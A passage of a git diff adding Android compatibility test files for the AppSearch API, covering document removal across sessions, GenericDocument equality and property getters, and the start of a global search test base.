+ .addGenericDocument(email1, email2, document1)
+ .build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1", "uri2")).hasSize(2);
+ assertThat(doGet(mDb1, /*namespace=*/ "document", "uri3")).hasSize(1);
+
+ // Delete the email namespace
+ mDb1.removeByQuery(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addNamespace("email")
+ .build())
+ .get();
+
+ // Make sure it's really gone
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(
+ new GetByUriRequest.Builder()
+ .setNamespace("email")
+ .addUri("uri1", "uri2")
+ .build())
+ .get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ assertThat(getResult.getFailures().get("uri2").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ getResult =
+ mDb1.getByUri(
+ new GetByUriRequest.Builder()
+ .setNamespace("document")
+ .addUri("uri3")
+ .build())
+ .get();
+ assertThat(getResult.isSuccess()).isTrue();
+ assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+ }
+
+ @Test
+ public void testRemoveByNamespaces_twoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("email")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("email")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 2")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, /*namespace=*/ "email", "uri1")).hasSize(1);
+ assertThat(doGet(mDb2, /*namespace=*/ "email", "uri2")).hasSize(1);
+
+ // Delete the email namespace in instance 1
+ mDb1.removeByQuery(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addNamespace("email")
+ .build())
+ .get();
+
+ // Make sure it's really gone in instance 1
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(
+ new GetByUriRequest.Builder()
+ .setNamespace("email")
+ .addUri("uri1")
+ .build())
+ .get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Make sure it's still in instance 2.
+ getResult =
+ mDb2.getByUri(
+ new GetByUriRequest.Builder()
+ .setNamespace("email")
+ .addUri("uri2")
+ .build())
+ .get();
+ assertThat(getResult.isSuccess()).isTrue();
+ assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+ }
+
+ @Test
+ public void testRemoveAll_twoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 2")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+ assertThat(doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+ // Delete the all document in instance 1
+ mDb1.removeByQuery(
+ "",
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+ .get();
+
+ // Make sure it's really gone in instance 1
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Make sure it's still in instance 2.
+ getResult = mDb2.getByUri(new GetByUriRequest.Builder().addUri("uri2").build()).get();
+ assertThat(getResult.isSuccess()).isTrue();
+ assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+ }
+
+ @Test
+ public void testRemoveAll_termMatchType() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 2")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ AppSearchEmail email3 =
+ new AppSearchEmail.Builder("uri3")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 3")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ AppSearchEmail email4 =
+ new AppSearchEmail.Builder("uri4")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 4")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email3, email4)
+ .build()));
+
+ // Check the presence of the documents
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(2);
+ searchResults =
+ mDb2.query(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(2);
+
+ // Delete the all document in instance 1 with TERM_MATCH_PREFIX
+ mDb1.removeByQuery(
+ "",
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+ .get();
+ searchResults =
+ mDb1.query(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).isEmpty();
+
+ // Delete the all document in instance 2 with TERM_MATCH_EXACT_ONLY
+ mDb2.removeByQuery(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build())
+ .get();
+ searchResults =
+ mDb2.query(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).isEmpty();
+ }
+
+ @Test
+ public void testRemoveAllAfterEmpty() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, "namespace", "uri1")).hasSize(1);
+
+ // Remove the document
+ checkIsBatchResultSuccess(
+ mDb1.removeByUri(
+ new RemoveByUriRequest.Builder()
+ .setNamespace("namespace")
+ .addUri("uri1")
+ .build()));
+
+ // Make sure it's really gone
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Delete the all documents
+ mDb1.removeByQuery(
+ "",
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+ .get();
+
+ // Make sure it's still gone
+ getResult = mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ }
+
+ @Test
+ public void testCloseAndReopen() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build());
+
+ // Index a document
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+ // close and re-open the appSearchSession
+ mDb1.close();
+ mDb1 = createSearchSession(DB_NAME_1).get();
+
+ // Query for the document
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).containsExactly(inEmail);
+ }
+
+ @Test
+ public void testCallAfterClose() throws Exception {
+
+ // Create a same-thread database by inject an executor which could help us maintain the
+ // execution order of those async tasks.
+ Context context = ApplicationProvider.getApplicationContext();
+ AppSearchSessionShim sameThreadDb =
+ createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService()).get();
+
+ try {
+ // Schema registration -- just mutate something
+ sameThreadDb
+ .setSchema(
+ new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Close the database. No further call will be allowed.
+ sameThreadDb.close();
+
+ // Try to query the closed database
+ // We are using the same-thread db here to make sure it has been closed.
+ IllegalStateException e =
+ expectThrows(
+ IllegalStateException.class,
+ () ->
+ sameThreadDb.query(
+ "query",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build()));
+ assertThat(e).hasMessageThat().contains("AppSearchSession has already been closed");
+ } finally {
+ // To clean the data that has been added in the test, need to re-open the session and
+ // set an empty schema.
+ AppSearchSessionShim reopen =
+ createSearchSession("sameThreadDb", MoreExecutors.newDirectExecutorService())
+ .get();
+ reopen.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+ }
+ }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
new file mode 100644
index 0000000..657d556
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GenericDocumentCtsTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.GenericDocument;
+
+import org.junit.Test;
+
+public class GenericDocumentCtsTest {
+ private static final byte[] sByteArray1 = new byte[] {(byte) 1, (byte) 2, (byte) 3};
+ private static final byte[] sByteArray2 = new byte[] {(byte) 4, (byte) 5, (byte) 6, (byte) 7};
+ private static final GenericDocument sDocumentProperties1 =
+ new GenericDocument.Builder<>("sDocumentProperties1", "sDocumentPropertiesSchemaType1")
+ .setCreationTimestampMillis(12345L)
+ .build();
+ private static final GenericDocument sDocumentProperties2 =
+ new GenericDocument.Builder<>("sDocumentProperties2", "sDocumentPropertiesSchemaType2")
+ .setCreationTimestampMillis(6789L)
+ .build();
+
+ @Test
+ public void testDocumentEquals_identical() {
+ GenericDocument document1 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setTtlMillis(1L)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyString(
+ "stringKey1", "test-value1", "test-value2", "test-value3")
+ .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+ .setPropertyDocument(
+ "documentKey1", sDocumentProperties1, sDocumentProperties2)
+ .build();
+ GenericDocument document2 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setTtlMillis(1L)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyString(
+ "stringKey1", "test-value1", "test-value2", "test-value3")
+ .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+ .setPropertyDocument(
+ "documentKey1", sDocumentProperties1, sDocumentProperties2)
+ .build();
+ assertThat(document1).isEqualTo(document2);
+ assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+ }
+
+ @Test
+ public void testDocumentEquals_differentOrder() {
+ GenericDocument document1 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+ .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyDocument(
+ "documentKey1", sDocumentProperties1, sDocumentProperties2)
+ .setPropertyString(
+ "stringKey1", "test-value1", "test-value2", "test-value3")
+ .build();
+
+ // Create second document with same parameter but different order.
+ GenericDocument document2 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyDocument(
+ "documentKey1", sDocumentProperties1, sDocumentProperties2)
+ .setPropertyString(
+ "stringKey1", "test-value1", "test-value2", "test-value3")
+ .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+ .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .build();
+ assertThat(document1).isEqualTo(document2);
+ assertThat(document1.hashCode()).isEqualTo(document2.hashCode());
+ }
+
+ @Test
+ public void testDocumentEquals_failure() {
+ GenericDocument document1 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .build();
+
+ // Create second document with same order but different value.
+ GenericDocument document2 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyLong("longKey1", 1L, 2L, 4L) // Different
+ .build();
+ assertThat(document1).isNotEqualTo(document2);
+ assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+ }
+
+ @Test
+ public void testDocumentEquals_repeatedFieldOrder_failure() {
+ GenericDocument document1 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .build();
+
+ // Create second document with same order but different value.
+ GenericDocument document2 =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyBoolean("booleanKey1", true, true, false) // Different
+ .build();
+ assertThat(document1).isNotEqualTo(document2);
+ assertThat(document1.hashCode()).isNotEqualTo(document2.hashCode());
+ }
+
+ @Test
+ public void testDocumentGetSingleValue() {
+ GenericDocument document =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setScore(1)
+ .setTtlMillis(1L)
+ .setPropertyLong("longKey1", 1L)
+ .setPropertyDouble("doubleKey1", 1.0)
+ .setPropertyBoolean("booleanKey1", true)
+ .setPropertyString("stringKey1", "test-value1")
+ .setPropertyBytes("byteKey1", sByteArray1)
+ .setPropertyDocument("documentKey1", sDocumentProperties1)
+ .build();
+ assertThat(document.getUri()).isEqualTo("uri1");
+ assertThat(document.getTtlMillis()).isEqualTo(1L);
+ assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+ assertThat(document.getCreationTimestampMillis()).isEqualTo(5);
+ assertThat(document.getScore()).isEqualTo(1);
+ assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+ assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(1.0);
+ assertThat(document.getPropertyBoolean("booleanKey1")).isTrue();
+ assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+ assertThat(document.getPropertyBytes("byteKey1"))
+ .asList()
+ .containsExactly((byte) 1, (byte) 2, (byte) 3);
+ assertThat(document.getPropertyDocument("documentKey1")).isEqualTo(sDocumentProperties1);
+ }
+
+ @Test
+ public void testDocumentGetArrayValues() {
+ GenericDocument document =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyString(
+ "stringKey1", "test-value1", "test-value2", "test-value3")
+ .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+ .setPropertyDocument(
+ "documentKey1", sDocumentProperties1, sDocumentProperties2)
+ .build();
+
+ assertThat(document.getUri()).isEqualTo("uri1");
+ assertThat(document.getSchemaType()).isEqualTo("schemaType1");
+ assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L, 2L, 3L);
+ assertThat(document.getPropertyDoubleArray("doubleKey1"))
+ .usingExactEquality()
+ .containsExactly(1.0, 2.0, 3.0);
+ assertThat(document.getPropertyBooleanArray("booleanKey1"))
+ .asList()
+ .containsExactly(true, false, true);
+ assertThat(document.getPropertyStringArray("stringKey1"))
+ .asList()
+ .containsExactly("test-value1", "test-value2", "test-value3");
+ assertThat(document.getPropertyBytesArray("byteKey1"))
+ .asList()
+ .containsExactly(sByteArray1, sByteArray2);
+ assertThat(document.getPropertyDocumentArray("documentKey1"))
+ .asList()
+ .containsExactly(sDocumentProperties1, sDocumentProperties2);
+ }
+
+ @Test
+ public void testDocument_toString() {
+ GenericDocument document =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setCreationTimestampMillis(5L)
+ .setPropertyLong("longKey1", 1L, 2L, 3L)
+ .setPropertyDouble("doubleKey1", 1.0, 2.0, 3.0)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyString("stringKey1", "String1", "String2", "String3")
+ .setPropertyBytes("byteKey1", sByteArray1, sByteArray2)
+ .setPropertyDocument(
+ "documentKey1", sDocumentProperties1, sDocumentProperties2)
+ .build();
+ String exceptedString =
+ "{ key: 'creationTimestampMillis' value: 5 } "
+ + "{ key: 'namespace' value: } "
+ + "{ key: 'properties' value: "
+ + "{ key: 'booleanKey1' value: [ 'true' 'false' 'true' ] } "
+ + "{ key: 'byteKey1' value: "
+ + "{ key: 'byteArray' value: [ '1' '2' '3' ] } "
+ + "{ key: 'byteArray' value: [ '4' '5' '6' '7' ] } } "
+ + "{ key: 'documentKey1' value: [ '"
+ + "{ key: 'creationTimestampMillis' value: 12345 } "
+ + "{ key: 'namespace' value: } "
+ + "{ key: 'properties' value: } "
+ + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType1 } "
+ + "{ key: 'score' value: 0 } "
+ + "{ key: 'ttlMillis' value: 0 } "
+ + "{ key: 'uri' value: sDocumentProperties1 } ' '"
+ + "{ key: 'creationTimestampMillis' value: 6789 } "
+ + "{ key: 'namespace' value: } "
+ + "{ key: 'properties' value: } "
+ + "{ key: 'schemaType' value: sDocumentPropertiesSchemaType2 } "
+ + "{ key: 'score' value: 0 } "
+ + "{ key: 'ttlMillis' value: 0 } "
+ + "{ key: 'uri' value: sDocumentProperties2 } ' ] } "
+ + "{ key: 'doubleKey1' value: [ '1.0' '2.0' '3.0' ] } "
+ + "{ key: 'longKey1' value: [ '1' '2' '3' ] } "
+ + "{ key: 'stringKey1' value: [ 'String1' 'String2' 'String3' ] } } "
+ + "{ key: 'schemaType' value: schemaType1 } "
+ + "{ key: 'score' value: 0 } "
+ + "{ key: 'ttlMillis' value: 0 } "
+ + "{ key: 'uri' value: uri1 } ";
+ assertThat(document.toString()).isEqualTo(exceptedString);
+ }
+
+ @Test
+ public void testDocumentGetValues_differentTypes() {
+ GenericDocument document =
+ new GenericDocument.Builder<>("uri1", "schemaType1")
+ .setScore(1)
+ .setPropertyLong("longKey1", 1L)
+ .setPropertyBoolean("booleanKey1", true, false, true)
+ .setPropertyString(
+ "stringKey1", "test-value1", "test-value2", "test-value3")
+ .build();
+
+ // Get a value for a key that doesn't exist
+ assertThat(document.getPropertyDouble("doubleKey1")).isEqualTo(0.0);
+ assertThat(document.getPropertyDoubleArray("doubleKey1")).isNull();
+
+ // Get a value with a single element as an array and as a single value
+ assertThat(document.getPropertyLong("longKey1")).isEqualTo(1L);
+ assertThat(document.getPropertyLongArray("longKey1")).asList().containsExactly(1L);
+
+ // Get a value with multiple elements as an array and as a single value
+ assertThat(document.getPropertyString("stringKey1")).isEqualTo("test-value1");
+ assertThat(document.getPropertyStringArray("stringKey1"))
+ .asList()
+ .containsExactly("test-value1", "test-value2", "test-value3");
+
+ // Get a value of the wrong type
+ assertThat(document.getPropertyDouble("longKey1")).isEqualTo(0.0);
+ assertThat(document.getPropertyDoubleArray("longKey1")).isNull();
+ }
+
+ @Test
+ public void testDocumentInvalid() {
+ GenericDocument.Builder<?> builder = new GenericDocument.Builder<>("uri1", "schemaType1");
+ expectThrows(
+ IllegalArgumentException.class,
+ () -> builder.setPropertyBoolean("test", new boolean[] {}));
+ }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
new file mode 100644
index 0000000..dd356a0
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/GlobalSearchSessionCtsTestBase.java
@@ -0,0 +1,647 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.convertSearchResultsToDocuments;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchEmail;
+import android.app.appsearch.AppSearchManager;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.GlobalSearchSessionShim;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SearchResult;
+import android.app.appsearch.SearchResultsShim;
+import android.app.appsearch.SearchSpec;
+import android.app.appsearch.SetSchemaRequest;
+import android.content.Context;
+
+import androidx.test.core.app.ApplicationProvider;
+
+import com.google.common.collect.ImmutableList;
+import com.google.common.util.concurrent.ListenableFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+public abstract class GlobalSearchSessionCtsTestBase {
+ private AppSearchSessionShim mDb1;
+ private static final String DB_NAME_1 = AppSearchManager.DEFAULT_DATABASE_NAME;
+ private AppSearchSessionShim mDb2;
+ private static final String DB_NAME_2 = "testDb2";
+
+ private GlobalSearchSessionShim mGlobalAppSearchManager;
+
+ protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+ @NonNull String dbName);
+
+ protected abstract ListenableFuture<GlobalSearchSessionShim> createGlobalSearchSession();
+
+ @Before
+ public void setUp() throws Exception {
+ Context context = ApplicationProvider.getApplicationContext();
+
+ mDb1 = createSearchSession(DB_NAME_1).get();
+ mDb2 = createSearchSession(DB_NAME_2).get();
+
+ // Cleanup whatever documents may still exist in these databases. This is needed in
+ // addition to tearDown in case a test exited without completing properly.
+ cleanup();
+
+ mGlobalAppSearchManager = createGlobalSearchSession().get();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ // Cleanup whatever documents may still exist in these databases.
+ cleanup();
+ }
+
+ private void cleanup() throws Exception {
+ mDb1.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+ }
+
+ private List<GenericDocument> snapshotResults(String queryExpression, SearchSpec spec)
+ throws Exception {
+ SearchResultsShim searchResults = mGlobalAppSearchManager.query(queryExpression, spec);
+ return convertSearchResultsToDocuments(searchResults);
+ }
+
+ /**
+ * Asserts that the union of {@code addedDocuments} and {@code beforeDocuments} is exactly
+ * equivalent to {@code afterDocuments}. Order doesn't matter.
+ *
+ * @param beforeDocuments Documents that existed first.
+ * @param afterDocuments The total collection of documents that should exist now.
+ * @param addedDocuments The collection of documents that were expected to be added.
+ */
+ private void assertAddedBetweenSnapshots(
+ List<? extends GenericDocument> beforeDocuments,
+ List<? extends GenericDocument> afterDocuments,
+ List<? extends GenericDocument> addedDocuments) {
+ List<GenericDocument> expectedDocuments = new ArrayList<>(beforeDocuments);
+ expectedDocuments.addAll(addedDocuments);
+ assertThat(afterDocuments).containsExactlyElementsIn(expectedDocuments);
+ }
+
+ @Test
+ public void testGlobalQuery_oneInstance() throws Exception {
+ // Snapshot what documents may already exist on the device.
+ SearchSpec exactSearchSpec =
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY).build();
+ List<GenericDocument> beforeBodyDocuments = snapshotResults("body", exactSearchSpec);
+ List<GenericDocument> beforeBodyEmailDocuments =
+ snapshotResults("body email", exactSearchSpec);
+
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+ // Query for the document
+ List<GenericDocument> afterBodyDocuments = snapshotResults("body", exactSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeBodyDocuments, afterBodyDocuments, Collections.singletonList(inEmail));
+
+ // Multi-term query
+ List<GenericDocument> afterBodyEmailDocuments =
+ snapshotResults("body email", exactSearchSpec);
+ assertAddedBetweenSnapshots(
+ beforeBodyEmailDocuments,
+ afterBodyEmailDocuments,
+ Collections.singletonList(inEmail));
+ }
+
+ @Test
+ public void testGlobalQuery_twoInstances() throws Exception {
+ // Snapshot what documents may already exist on the device.
